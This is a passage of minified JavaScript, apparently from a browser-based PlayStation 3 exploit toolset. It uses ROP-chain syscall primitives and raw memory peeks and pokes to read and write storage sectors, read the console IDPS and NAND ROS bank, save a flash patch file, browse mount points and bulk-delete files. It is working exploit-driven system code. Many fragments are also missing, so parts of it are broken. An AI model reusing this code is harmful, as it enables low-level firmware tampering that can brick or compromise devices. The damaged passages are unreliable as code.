    Storage Object read - Current Memory Buffer Offset: 0x"+c.toString(16),p=helper.memory.upeek32(e),(0!==l||pStorage Object read error:"+l>0?" 0x"+l.toString(16):" failed to read "+n.toString(16)+" sectors - Number of sectors read: 0x"+p.toString(16)),this.current_sector=this.current_sector+n,c+=n*this.sector_size;return a>0&&(l=helper.rop.rrun(syscall32(helper.sc_ssr,this.device_handle,0,this.current_sector,a,c,e,34)),o+="
    Storage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
    Storage Object read - Current Memory Buffer Offset: 0x"+c.toString(16),p=helper.memory.upeek32(e),(0!==l||pStorage Object read error:"+l>0?" 0x"+l.toString(16):" failed to read "+a.toString(16)+" sectors - Number of sectors read: 0x"+p.toString(16)),this.current_sector=this.current_sector+a,c+=a*this.sector_size),o+="
    Storage Object read operation complete",Logger.info(o),l},this.write=function(r,s,o){var l="Storage Object write - Number of Sectors: 0x"+r.toString(16),n=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object write aborted"),n;for(var i=rStorage Object write - Current Sector: 0x"+(d+h*i).toString(16)+"
    Storage Object write - Current Memory Buffer Offset: 0x"+u.toString(16),c=helper.memory.upeek32(e),0===n&&c===i||(l+="
    Storage Object write error:"+n>0?" 0x"+n.toString(16):" failed to write "+i.toString(16)+" sectors - Number of sectors written: 0x"+c.toString(16)),this.current_sector=this.current_sector+i,u+=i*this.sector_size;return p>0&&(n=helper.rop.rrun(syscall32(helper.sc_ssw,this.device_handle,0,d+r-p,p,u+(r-p)*this.sector_size,e,34)),l+="
    Storage Object write - Current Sector: 0x"+(d+r-p).toString(16)+"
    Storage Object write - Current Memory Buffer Offset: 0x"+u.toString(16),c=helper.memory.upeek32(e),0===n&&c===p||(l+="
    Storage Object write error:"+n>0?" 0x"+n.toString(16):" failed to write "+p.toString(16)+" sectors - Number of sectors written: 0x"+c.toString(16)),0===n&&c!==p&&(n=2415919103),this.current_sector=this.current_sector+p,u+=p*this.sector_size),l+="Storage Object write operation complete",Logger.info(l),n},this.close=function(t){var r=0;return this.device_handle>0&&(Logger.info("Storage Object close"),0!==(r=helper.rop.rrun(syscall32(helper.sc_ssc,this.device_handle)))?Logger.error("Storage Object close failed"):(this.device_handle=-1,t||helper.buffer.free([this.buffer.offset]),helper.heap.free([e]))),r}},getIDPS=function(e,t){var r=helper.heap.store(512),s=e.read(1,t,{offset:r,size:512});s>0&&Logger.error("getIDPS: Storage Object Read Error : 0x"+s.toString(16));var o=helper.memory.upeeks(r+helper.idps_offset,16,!1);return helper.heap.free([r]),o},getActiveNandROS=function(e){var t=helper.heap.store(512),r=e.read(1,1024,{offset:t,size:512});r>0&&Logger.error("getActiveNandROS: Storage Object Read Error : 0x"+r.toString(16));var s=helper.memory.upeeks(t,16,!1);return helper.heap.free([t]),s},getDirList=function(e){return getFList(e,1)},getFileList=function(e){return getFList(e,2)},cleanStorage=function(e,t){stdc.memset(e,0,t)},getFItemsList=function(e,t,r){alert("getFList processing start");var s={files:[],folders:[]};if(!helper.worker.fe&&(helper.worker.fe=new workerThread("BGTOOLSET_WKR_FE"),!helper.worker.fe))return alert("FE Worker Thread Creation failed!"),s;helper.fsitems.ret=s,helper.fsitems.op=r,helper.fsitems.dest=t,helper.fsitems.bf=helper.worker.fe.getTLS().offset,alert("BGTOOLSET_WKR_FE created"),helper.memory.upoke32(helper.fsitems.bf,0),helper.memory.upokes(helper.fsitems.bf+4,e.ins[0],!0),alert("Queueing opendir"),helper.worker.fe.run(vsyscall32(helper.sc_fs_opendir,helper.fsitems.bf+4,helper.fsitems.bf),"Scanning Directory "+pp,function(){alert("opendir")},function(){alert("opendir done"),fd=helper.memory.upeek32(helper.fsitems.bf);var t=vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf,helper.fsitems.bf+260)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+268,helper.fsitems.bf+528)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+536,helper.fsitems.bf+796)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+804,helper.fsitems.bf+1064);!function r(s){cleanStorage(helper.fsitems.bf,1280),helper.worker.fe.run(t,"Scanning Directory Item "+(s.files.length+s.folders.length).toString(),function(){alert("readdir")},function(){for(var t=helper.memory.upeeks(helper.fsitems.bf,1072),o=0;o<4;o++){var l=268*o;if(0===parseInt(t.substr(2*(l+264),8),16))return helper.fsitems.ret=s,void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,fd),"Scan Directory Close",function(){alert("closedir")},function(){jQuery.each(helper.fsitems.ret.files,function(e,t){}),jQuery.each(helper.fsitems.ret.folders,function(t,r){e.ins.push(r)}),e.outs.push(e.ins.splice(0,1)),0===e.ins.length||getFItemsList(e,helper.fsitems.dest,helper.fsitems.op)});var n=t.substr(2*(l+2),2*parseInt(t.substr(2*(l+1),2),16)).fromAscii();if(0!==n.length&&"."!==n&&".."!==n){var i=parseInt(t.substr(2*l,2),16);2===i?s.files.push(n):1===i&&s.folders.push(n)}}r(s)})}(s)})},getFList=function(e,t){var r=helper.heap.store(e,!0),s=stdc.opendir(r),o=0,l=[];if(s>0)for(;(o=stdc.readdir(s))>0;){var n=helper.memory.upeeks(o+11,256,!0);helper.swf.leakbyte(o+10)===t&&l.push(n)}return stdc.closedir(s),helper.heap.free([r]),l},is_node=function(e,t,r,s){var o=!1;return $.each(t.children,function(t,l){var n=e.get_node(l);if(n.type===s&&n.text===r)return o=!0,!1}),o},is_treebase=function(e,t){return"string"==typeof e?"#"===e:"#"===t.instance.get_type(e)},_is=function(e,t){var r=!1;return $.each(e,function(e,s){if("string"==typeof t){if(t===s)return r=!0,!1}else if(t.id===s)return r=!0,!1}),r},is_parent=function(e,t){return _is(t.node.parents,e)},is_descendant=function(e,t){return _is(t.node.children_d,e)},is_child=function(e,t){return _is(t.node.children,e)},is_sibling=function(e,t){return _is(t.instance.get_node(t.node.parent).children,e)},get_disk_free_size=function(e){var t=helper.heap.store(helper.snull64),r=helper.heap.store(helper.snull64),s=null,o=null,l="string"==typeof e,n=l?helper.heap.store(e,!0):e,i=helper.rop.rrun(syscall32(helper.sc_fs_disk_free,n,t,r));return 0!==i?Logger.error("get_disk_free_size: sys_fs_disk_free error 0x"+i.toString(16)):(s=UInt64(helper.memory.upeeks(t,8)),o=UInt64(helper.memory.upeeks(r,8))),l?helper.heap.free([t,r,n]):helper.heap.free([t,r]),{total:s,available:o}},cellFsGetFreeSize=function(e){var t="string"==typeof e,r=t?helper.heap.store(e,!0):e,s=helper.heap.store(helper.snull64),o=helper.heap.store(),l=null,n=null,i=sys_fs.cellFsGetFreeSize(r,o,s);return 0!==i?Logger.error("cellFsGetFreeSize: error 0x"+i.toString(16)):(l=UInt64(helper.memory.upeeks(s,8)),n=helper.memory.upeek32(o)),t?helper.heap.free([o,s,r]):helper.heap.free([o,s]),{block_size:n,block_num:l}},getMountedPointList=function(e){var t={data:[],metadata:[],with_metadata:[]},r=helper.heap.store(helper.snull64),s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info_size,r));0!==s&&Logger.error("testgetMountedPointList: getMountInfoSize error 0x"+s.toString(16));var o=helper.memory.upeek32(r+4),l=helper.heap.store(148*o),n=helper.heap.store(helper.snull64);0!==(s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info,l,o,n)))&&Logger.error("testgetMountedPointList: getMountInfo error 0x"+s.toString(16));for(var i=helper.memory.upeek32(n+4),a=1;a0&&(clearInterval(s),s=0)}this.update=function(e){var t=s>0;t&&a(),n(e),t&&i()},this.get=function(){var e=s>0;return e&&a(),n(!0),e&&i(),o},this.loopstart=function(){i()},this.loopstop=function(){a()}},pfobj={patch_fo:null,num:0},savePatchFile=function(){dl_object.buffer&&dl_object.buffer.offset>0&&dl_object.buffer.size>0?(updateProgressDialog({dvalue:0,gvalue:60}),pbfm1.ulog("Preparing to save "+dl_object.default_task+" to "+dl_object.file_path),pfobj.patch_fo=new fileObject(dl_object.file_path,helper.fs_flag_create_rw),pfobj.num=0,updateProgressDialog({dvalue:25}),setTimeout(write_step,250)):(pbfm1.ulog("Invalid buffer error saving "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({dlabel:"Invalid buffer error",istatus:"error-image"}),Logger.error("Invalid buffer error saving "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({dvalue:100,gvalue:100}),dl_object.buffer.offset>2281701376&&dl_object.buffer.offset<2407530496&&helper.heap.free([dl_object.buffer.offset]),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"))},write_step=function(){Logger.info("write_step: num="+pfobj.num.toString());var e=pfobj.patch_fo.save({offset:dl_object.buffer.offset+1048576*pfobj.num,size:dl_object.buffer.size-1048576*pfobj.num},6==pfobj.num?1048544:1048576,null,null);if(0!==e)return updateProgressDialog({dlabel:"IO errors - cleaning up file operations",dvalue:99,gvalue:99}),pbfm1.ulog("Error saving "+dl_object.default_task+" to "+dl_object.file_path),0!==(e=pfobj.patch_fo.close())?(Logger.error("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),pbfm1.ulog("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path)):(pbfm1.ulog(dl_object.file_path+" closed"),Logger.info(dl_object.file_path+" closed")),updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"}),Logger.error("Error 0x"+e.toString(16)+" saving "+dl_object.default_task+" at "+dl_object.file_path),pfobj={patch_fo:null,num:0},void(dl_object=null);if(pfobj.num>=0&&pfobj.num<6)return updateProgressDialog({dvalue:35+10*pfobj.num,gvalue:60+5*pfobj.num}),pfobj.num++,void setTimeout(write_step,250);updateProgressDialog({dvalue:0,gvalue:90,dlabel:"Checking saved file size"}),pbfm1.ulog(dl_object.default_task+" data saved to "+dl_object.file_path),Logger.info(dl_object.default_task+" saved at "+dl_object.file_path);var t=pfobj.patch_fo.getsize();return Logger.info("File Size: 0x"+t.toString(16)),e=pfobj.patch_fo.close(),updateProgressDialog({dvalue:100,gvalue:95}),0!==e?(Logger.error("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),pbfm1.ulog("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"}),pbfm1.ulog(dl_object.default_task+" was saved to "+dl_object.file_path)):(pbfm1.ulog(dl_object.file_path+" closed"),Logger.info(dl_object.file_path+" closed"),t===helper.patchfile_size?updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch file saved successfully",istatus:"success-image"}):updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"})),pfobj={patch_fo:null,num:0},void(dl_object=null)},save_info=function(e){var t=new Date;if(e.buffer&&e.buffer.offset>0&&e.buffer.size>0){pbfm2.updateStatusText("Saving "+e.default_task+" Progress"),pbfm2.updateProgressDialog({glabel:"Preparing for file operations",gvalue:0},t),pbfm2.ulog("Preparing to save "+e.default_task+" to "+e.file_path);var r=new fileObject(e.file_path,helper.fs_flag_create_rw);pbfm2.updateProgressDialog({glabel:"Saving data to file",gvalue:25},t);var s=r.save(e.buffer,e.buffer.size,null,null),o=!0,l=!1;0!==s?(o=!1,l=!0,pbfm2.ulog("Error saving "+e.default_task+" to "+e.file_path),pbfm2.updateProgressDialog({glabel:"IO errors - cleaning up file operations",gvalue:75},t),Logger.error("Error 0x"+s.toString(16)+" saving "+e.default_task+" at "+e.file_path)):(pbfm2.updateProgressDialog({glabel:"IO Operations OK - cleaning up file operations",gvalue:75},t),pbfm2.ulog(e.default_task+" data saved to "+e.file_path),Logger.info(e.default_task+" saved at "+e.file_path)),0!==(s=r.close())?(l=!0,Logger.error("Error 0x"+s.toString(16)+" closing "+e.default_task+" at "+e.file_path),pbfm2.ulog("Error 0x"+s.toString(16)+" closing "+e.default_task+" at "+e.file_path)):(pbfm2.ulog(e.file_path+" closed"),Logger.info(e.file_path+" closed")),l?(pbfm2.updateProgressDialog({glabel:"IO Operations errors - check logs",gvalue:100,istatus:"error-image"},t),o?pbfm2.ulog(e.default_task+" was saved to "+e.file_path):pbfm2.ulog(e.default_task+" was NOT saved to "+e.file_path)):pbfm2.updateProgressDialog({glabel:"IO operations complete",gvalue:100,istatus:"success-image"},t),delete r}else pbfm2.ulog("Invalid buffer error saving "+e.default_task+" at "+e.file_path),pbfm2.updateProgressDialog({glabel:"Invalid buffer error",gvalue:100,istatus:"error-image"},t),Logger.error("Invalid buffer error saving "+e.default_task+" at "+e.file_path);e.buffer.offset>2281701376&&e.buffer.offset<2407530496&&helper.heap.free([e.buffer.offset]),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},getJSTreeData=function(e,t,r,s){if("#"===t.id){var o=getMountedPointList(s);return o.data?Logger.debug(o):Logger.error("Mounted Point List error "+o),o.data}if("file"===t.type)return[];var l=e.get_fullpath(t),n=helper.heap.store(l,!0),i=helper.heap.store(),a=helper.heap.store(260),p=helper.heap.store(8),c=helper.rop.rrun(syscall32(helper.sc_fs_opendir,n,i)),d=helper.memory.upeek32(i),u=0,h=[];if(0===c&&d>=0){for(c=helper.rop.rrun(syscall32(helper.sc_fs_readdir,d,a,p)),u=helper.memory.upeek32(p+4);0===c&&0!==u;){var g=helper.memory.upeeks(a+2,helper.memory.upeek8(a+1),!0);if(g.length>0&&"."!==g&&".."!==g){var f=helper.memory.upeek8(a);2===f&&!0===r?h.push({text:g,type:"file"}):1===f&&h.push({text:g,type:"folder",children:!0})}c=helper.rop.rrun(syscall32(helper.sc_fs_readdir,d,a,p)),u=helper.memory.upeek32(p+4)}c=helper.rop.rrun(syscall32(helper.sc_fs_closedir,d))}return c>0&&Logger.error("getJSTreeData: Error 0x"+c.toString(16)),helper.heap.free([i,n,a,p]),h},getJSTreeData2=function(e,t,r,s){if("#"===t.id){var o=getMountedPointList(s);return o.data?Logger.debug(o):Logger.error("Mounted Point List error "+o),o.data}if("file"===t.type)return[];var l=0,n=0;if(helper.comp.fd<0){helper.comp.ret=[],helper.comp.node=t,l=3;var i=helper.heap.store(),a=helper.heap.store(e.get_fullpath(t),!0);return n=helper.rop.rrun(syscall32(helper.sc_fs_opendir,a,i)),helper.comp.fd=helper.memory.upeek32(i),helper.heap.free([i,a]),setTimeout(function(){e.load_node(t)},1e3),[]}var p=0,c=helper.heap.store(260),d=helper.heap.store(8);if(0===n&&helper.comp.fd>=0){for(var u=l;u<4;u++){if(n=helper.rop.rrun(syscall32(helper.sc_fs_readdir,helper.comp.fd,c,d)),p=helper.memory.upeek32(d+4),0!==n||0===p){if(n>0){Logger.error("getJSTreeData: readdir error 0x"+n.toString(16));break}break}var h=helper.memory.upeeks(c+2,helper.memory.upeek8(c+1),!0);if(h.length>0&&"."!==h&&".."!==h){var g=helper.memory.upeek8(c);2===g&&!0===r?helper.comp.ret.push({text:h,type:"file"}):1===g&&helper.comp.ret.push({text:h,type:"folder",children:!0})}}if(0!==n||0===p)return n>0&&Logger.error("getJSTreeData: readdir 0x"+n.toString(16)),n=helper.rop.rrun(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,n>0&&Logger.error("getJSTreeData: closedir Error 0x"+n.toString(16)),helper.heap.free([c,d]),0===helper.comp.ret.length?-1:helper.comp.ret;setTimeout(function(){e.load_node(t)},1250)}else n>0?Logger.error("getJSTreeData: opendir error 0x"+n.toString(16)):(Logger.error("getJSTreeData: opendir bad descriptor"),(n=helper.rop.rrun(syscall32(helper.sc_fs_closedir,helper.comp.fd)))>0?Logger.error("getJSTreeData: closedir error 0x"+n.toString(16)):helper.comp.fd=-1);return helper.heap.free([c,d]),[]},getJSTreeData_fast=function(e,t,r,s){if("#"===t.id)return helper.mplist=getMountedPointList(s),helper.mplist.data?Logger.debug(helper.mplist):Logger.error("Mounted Point List error "+helper.mplist),helper.mplist.data;if("file"===t.type)return[];if(helper.comp.fd<0){helper.comp.ret=[],helper.comp.bf>0&&helper.heap.free([helper.comp.bf]),helper.comp.bf=helper.heap.store(1072),helper.comp.node=t;var o=helper.heap.store(),l=helper.heap.store(e.get_fullpath(t),!0);return helper.rop.run(syscall32(helper.sc_fs_opendir,l,o)),helper.comp.fd=helper.memory.upeek32(o),helper.heap.free([o,l]),helper.comp.sfread=syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf,helper.comp.bf+260)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+268,helper.comp.bf+528)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+536,helper.comp.bf+796)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+804,helper.comp.bf+1064),setTimeout(function(){e.load_node(t)},500),[]}if(helper.comp.fd>=0){helper.rop.run(helper.comp.sfread);for(var n=helper.memory.upeeks(helper.comp.bf,1072),i=0,a=0;a<4;a++){var p=268*a;if(0===(i=parseInt(n.substr(2*(p+264),8),16)))break;var c=n.substr(2*(p+2),2*parseInt(n.substr(2*(p+1),2),16)).fromAscii();if(0!==c.length&&"."!==c&&".."!==c){var d=parseInt(n.substr(2*p,2),16);if(2===d&&!0===r)helper.comp.ret.push({text:c,type:"file"});else{if(1!==d)continue;helper.comp.ret.push({text:c,type:"folder",children:!0})}}}if(0===i)return setTimeout(function(){helper.rop.run(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,helper.heap.free([helper.comp.bf]),helper.comp.bf=0,helper.comp.sfread=""},500),0===helper.comp.ret.length?-1:helper.comp.ret;setTimeout(function(){e.load_node(t)},500)}else Logger.error("getJSTreeData: opendir bad descriptor"),helper.rop.run(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,helper.comp.sfread="";return[]},getJSTreeData_wk=function(e,t,r,s){if("#"===t.id)return helper.mplist=getMountedPointList(s),helper.mplist.data?Logger.debug(helper.mplist):Logger.error("Mounted Point List error "+helper.mplist),helper.mplist.data;if("file"===t.type)return[];if(!0===helper.comp.done)return helper.comp.done=!1,Logger.debug("getJSTreeData_wk processing done"),0===helper.comp.ret.length?-1:helper.comp.ret;if(helper.comp.fd<0){if(Logger.debug("getJSTreeData_wk processing start"),!helper.worker.fe&&(helper.worker.fe=new workerThread("BGTOOLSET_WKR_FE"),!helper.worker.fe))return Logger.error("FE Worker Thread Creation failed!"),[];helper.comp.bf=helper.worker.fe.getTLS().offset,helper.comp.ret=[],helper.comp.node=t;var o=e.get_fullpath(helper.comp.node);cleanStorage(helper.comp.bf,1280),helper.memory.upokes(helper.comp.bf+8,o,!0),helper.worker.fe.run(vsyscall32(helper.sc_fs_opendir,helper.comp.bf+8,helper.comp.bf),"Scanning Directory "+o,function(){Logger.debug("opendir: "+o)},function(){helper.comp.fd=helper.memory.upeek32(helper.comp.bf),helper.comp.sfread=vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf,helper.comp.bf+260)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+268,helper.comp.bf+528)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+536,helper.comp.bf+796)+vsyscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+804,helper.comp.bf+1064),e.load_node(helper.comp.node)})}else helper.worker.fe.run(helper.comp.sfread,"Scanning Directory Item "+helper.comp.ret.length.toString(),function(){cleanStorage(helper.comp.bf,1280),Logger.debug("readdir: 0x"+helper.comp.fd.toString(16))},function(){for(var t=helper.memory.upeeks(helper.comp.bf,1072),s=0;s<4;s++){var o=268*s;if(0===parseInt(t.substr(2*(o+264),8),16)){helper.comp.done=!0,helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.comp.fd),"Scan Directory Close",function(){Logger.debug("closedir 0x"+helper.comp.fd.toString(16))},function(){helper.comp.fd=-1,e.load_node(helper.comp.node)});break}var l=t.substr(2*(o+2),2*parseInt(t.substr(2*(o+1),2),16)).fromAscii();if(0!==l.length&&"."!==l&&".."!==l){var n=parseInt(t.substr(2*o,2),16);2===n&&!0===r?helper.comp.ret.push({text:l,type:"file"}):1===n&&helper.comp.ret.push({text:l,type:"folder",children:!0})}3===s&&(cleanStorage(helper.comp.bf,1280),e.load_node(helper.comp.node))}});return[]};function scanContext(e,t,r){this.tree_instance=e,this.node=t,this.tree_data=[],this.ready=!1,this.to_reset=!1,this.scan_base=e.get_fullpath(t),this.currentfd=-1,this.sfread="",this.tls=0,this.totalSize=UInt64("0"),this.scanQ=new FIFOQ,this.scanQ.add(this.scan_base),this.todoFolderQ=new FIFOQ,this.todoFileQ=new FIFOQ,this.cb=r||null,this.reset=function(e,t,r){this.tree_instance=e,this.node=t,this.tree_data=[],this.ready=!1,this.to_reset=!1,this.scan_base=e.get_fullpath(t),this.currentfd=-1,this.sfread="",this.tls=0,this.scanQ=new FIFOQ,this.scanQ.add(this.scan_base),this.todoFolderQ=new FIFOQ,this.todoFileQ=new FIFOQ,this.totalSize=UInt64("0"),this.cb=r||null}}var getStat=function(e){var t=helper.heap.store(128),r=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,r,t)),o=helper.memory.upeek32(t+helper.stat_size_offset),l=helper.memory.upeeks(t+32,8),n=helper.memory.upeeks(t+24,8);return ret={size:o,ctime:l,mtime:n},helper.heap.free([t,r]),0!==s?(Logger.error("getStat "+e+" error: 0x"+s),-1):ret},getMPList=function(e){var t=[],r=helper.heap.store(helper.snull64),s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info_size,r));0!==s&&Logger.error("getMPList: getMountInfoSize error 0x"+s.toString(16));var o=helper.memory.upeek32(r+4),l=helper.heap.store(148*o),n=helper.heap.store(helper.snull64);0!==(s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info,l,o,n)))&&Logger.error("getMPList: getMountInfo error 0x"+s.toString(16));for(var i=helper.memory.upeek32(n+4),a=1;a0?(alert("opendir failed: "+helper.sctx.scanQ.first()),helper.sctx.scanQ.remove(),alert("Continue with next entry: "+helper.sctx.scanQ.first())):(helper.sctx.currentfd=helper.memory.upeek32(helper.sctx.tls),alert("opendir done fd: 0x"+helper.sctx.currentfd.toString(16)+" "+helper.sctx.scanQ.first()),helper.comp.sfread=vsyscall32(helper.sc_fs_readdir,helper.sctx.currentfd,helper.sctx.tls,helper.sctx.tls)+syscall32(helper.sc_fs_readdir,helper.sctx.currentfd,helper.sctx.tls+292,helper.sctx.tls+8)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.sctx.tls+552,helper.sctx.tls+16)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.sctx.tls+812,helper.sctx.tls+24),cleanStorage(helper.sctx.tls,1280)),delete_dir()})}helper.worker.fe.run(helper.sctx.sfread,"Scanning Directory Item "+(helper.sctx.todoFolderQ.length()+helper.sctx.todoFileQ.length()).toString(),function(){alert("readdir")},function(){for(var e=helper.memory.upeeks(helper.sctx.tls,1072),t=0;t<4;t++){var r=260*t+32;if(0===parseInt(e.substr(4*t*2,8),16))return void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.sctx.currentfd),"Scan Directory Close",function(){alert("closedir")},function(){helper.sctx.currentfd=-1,helper.sctx.scanQ.remove(),delete_dir()});var s=e.substr(2*(r+2),2*parseInt(e.substr(2*(r+1),2),16)).fromAscii();if(0!==s.length&&"."!==s&&".."!==s){var o=parseInt(e.substr(2*r,2),16);2===o?helper.sctx.todoFileQ.add(helper.sctx.scan_base+"/"+s):1===o&&(helper.sctx.todoFolderQ.add(helper.sctx.scan_base+"/"+s),helper.sctx.scanQ.add(helper.sctx.scan_base+"/"+s))}}delete_dir()})}else{var t=0,r=[],s=[],o=0,l=0;function n(e){var i=e.length(),a=Math.floor(i/128),p=i%128;l=p>0&&t+1===a?p:0===p&&0===a?0:80;var c="";if(s=[],i>0&&l>0&&l<=128&&cleanStorage(helper.sctx.tls,512*l),e===helper.sctx.todoFileQ){if(0===i)return t=0,void n(helper.sctx.todoFolderQ);for(o=0;o508?(Logger.error("unlink error - Path length > 508 characters not supported: "+s[o]),helper.memory.upoke32(helper.sctx.tls+(512*o+508),4294967295)):(helper.memory.upokes(helper.sctx.tls+200*o,s[o],!0),c+=vsyscall32(helper.sc_fs_unlink,helper.sctx.tls+512*o)+vstore_r3_word(helper.sctx.tls+(512*o+508)));helper.worker.fe.run(c,"Deleting "+l.toString()+" files",function(){alert("Deleting "+l.toString()+" files")},function(){for(o=0;o0?"Some errors occurred during the deletion process":"",error_count:r.length,err_log:r.length>0?r:0}));for(o=0;o508?(Logger.error("rmdir error - Path length > 508 characters not supported: "+s[o]),helper.memory.upoke32(helper.sctx.tls+(512*o+508),4294967295)):(helper.memory.upokes(helper.sctx.tls+200*o,s[o],!0),c+=vsyscall32(helper.sc_fs_rmdir,helper.sctx.tls+512*o)+vstore_r3_word(helper.sctx.tls+(512*o+508)));helper.worker.fe.run(c,"Deleting "+l.toString()+" folders",function(){alert("Deleting "+l.toString()+" folders")},function(){for(o=0;o0?confirmDialog(helper.sctx.todoFileQ.length()>0?"Do you really want to delete the current selection of "+helper.sctx.todoFileQ.length()+" files & "+helper.sctx.todoFolderQ.length()+" folders?":"Do you really want to delete the current selection of "+helper.sctx.todoFolderQ.length()+" folders?","Confirm deletion",n,helper.sctx.todoFileQ.length()>0?helper.sctx.todoFileQ:helper.sctx.todoFolderQ,null,null):helper.sctx.todoFileQ.length()>0&&confirmDialog("Do you really want to delete the current selection of "+helper.sctx.todoFileQ.length()+" files","Confirm deletion",n,helper.sctx.todoFileQ,null,null)}},scan_dir=function(e,t){if(helper.sctx&&helper.sctx.scanQ&&!0!==helper.sctx.ready){if(0===helper.sctx.scanQ.length()){var r,s,o=helper.sctx.todoFolderQ.length(),l=helper.sctx.todoFileQ.length();if(0===o)helper.sctx.tree_data=-1;else for(helper.sctx.tree_data=[],r=0;r0)alert("opendir fd 0x"+helper.memory.upeek32(helper.sctx.tls)+" "+helper.memory.upeeks(helper.sctx.tls+8,helper.sctx.scanQ.first().length,!0)+" failed error: 0x"+r.toString(16)),helper.sctx.scanQ.remove();else{helper.sctx.currentfd=helper.memory.upeek32(helper.sctx.tls);var s=sys_fs.getOPDbyName("cellFsGetDirectoryEntries");helper.sctx.sfread=vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+16,312,helper.sctx.tls)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+328,312,helper.sctx.tls+4)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+640,312,helper.sctx.tls+8)+vcall_subByOpd(s,helper.sctx.currentfd,helper.sctx.tls+952,312,helper.sctx.tls+12),cleanStorage(helper.sctx.tls,1280)}scan_dir(e,t)})}helper.worker.fe.run(helper.sctx.sfread,"Scanning Directory Item "+(helper.sctx.todoFolderQ.length()+helper.sctx.todoFileQ.length()).toString(),function(){},function(){for(var r=helper.memory.upeeks(helper.sctx.tls,1264),s=0;s<4;s++){var o=312*s+16;if(0===parseInt(r.substr(4*s*2,8),16))return void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,helper.sctx.currentfd),"Scan Directory Close",function(){},function(){helper.sctx.currentfd=-1,helper.sctx.scanQ.remove(),scan_dir(e,t)});var l=r.substr(2*(o+54),2*parseInt(r.substr(2*(o+53),2),16)).fromAscii();if(0!==l.length&&"."!==l&&".."!==l){var n=parseInt(r.substr(2*(o+52),2),16),i=new Date(1e3*UInt64(r.substr(2*(o+28),16)).toJSNumber()),a=new Date(1e3*UInt64(r.substr(2*(o+20),16)).toJSNumber()),p=new Date(1e3*UInt64(r.substr(2*(o+12),16)).toJSNumber());parseInt(r.substr(2*o,8),16);if(2!==n||e)1===n&&(helper.sctx.todoFolderQ.add({Filename:l,"File Type":0,Preview:"fa fa-folder-o fa-3x",Path:helper.sctx.scanQ.first()+"/"+l+"/",Error:"No error",Code:0,Properties:{"Date Created":i.getDay().toString8(10)+"/"+i.getMonth().toString8(10)+"/"+i.getFullYear().toString16(10)+" "+i.getHours().toString8(10)+":"+i.getMinutes().toString8(10),"Date Modified":a.getDay().toString8(10)+"/"+a.getMonth().toString8(10)+"/"+a.getFullYear().toString16(10)+" "+a.getHours().toString8(10)+":"+a.getMinutes().toString8(10),"Date Accessed":p.getDay().toString8(10)+"/"+p.getMonth().toString8(10)+"/"+p.getFullYear().toString16(10)+" "+p.getHours().toString8(10)+":"+p.getMinutes().toString8(10),Width:null,Height:null,Size:0}}),t&&helper.sctx.scanQ.add(helper.sctx.scanQ.first()+"/"+l));else{var c=UInt64(r.substr(2*(o+36),16)),d=l.lastIndexOf("."),u=d>=0?l.substr(d):"";helper.sctx.todoFileQ.add({Filename:l,"File Type":u,Preview:"fa fa-file-o",Path:helper.sctx.scanQ.first()+"/"+l,Error:"No error",Code:0,Properties:{"Date Created":i.getDay().toString8(10)+"/"+i.getMonth().toString8(10)+"/"+i.getFullYear().toString16(10)+" "+i.getHours().toString8(10)+":"+i.getMinutes().toString8(10),"Date Modified":a.getDay().toString8(10)+"/"+a.getMonth().toString8(10)+"/"+a.getFullYear().toString16(10)+" "+a.getHours().toString8(10)+":"+a.getMinutes().toString8(10),"Date Accessed":p.getDay().toString8(10)+"/"+p.getMonth().toString8(10)+"/"+p.getFullYear().toString16(10)+" 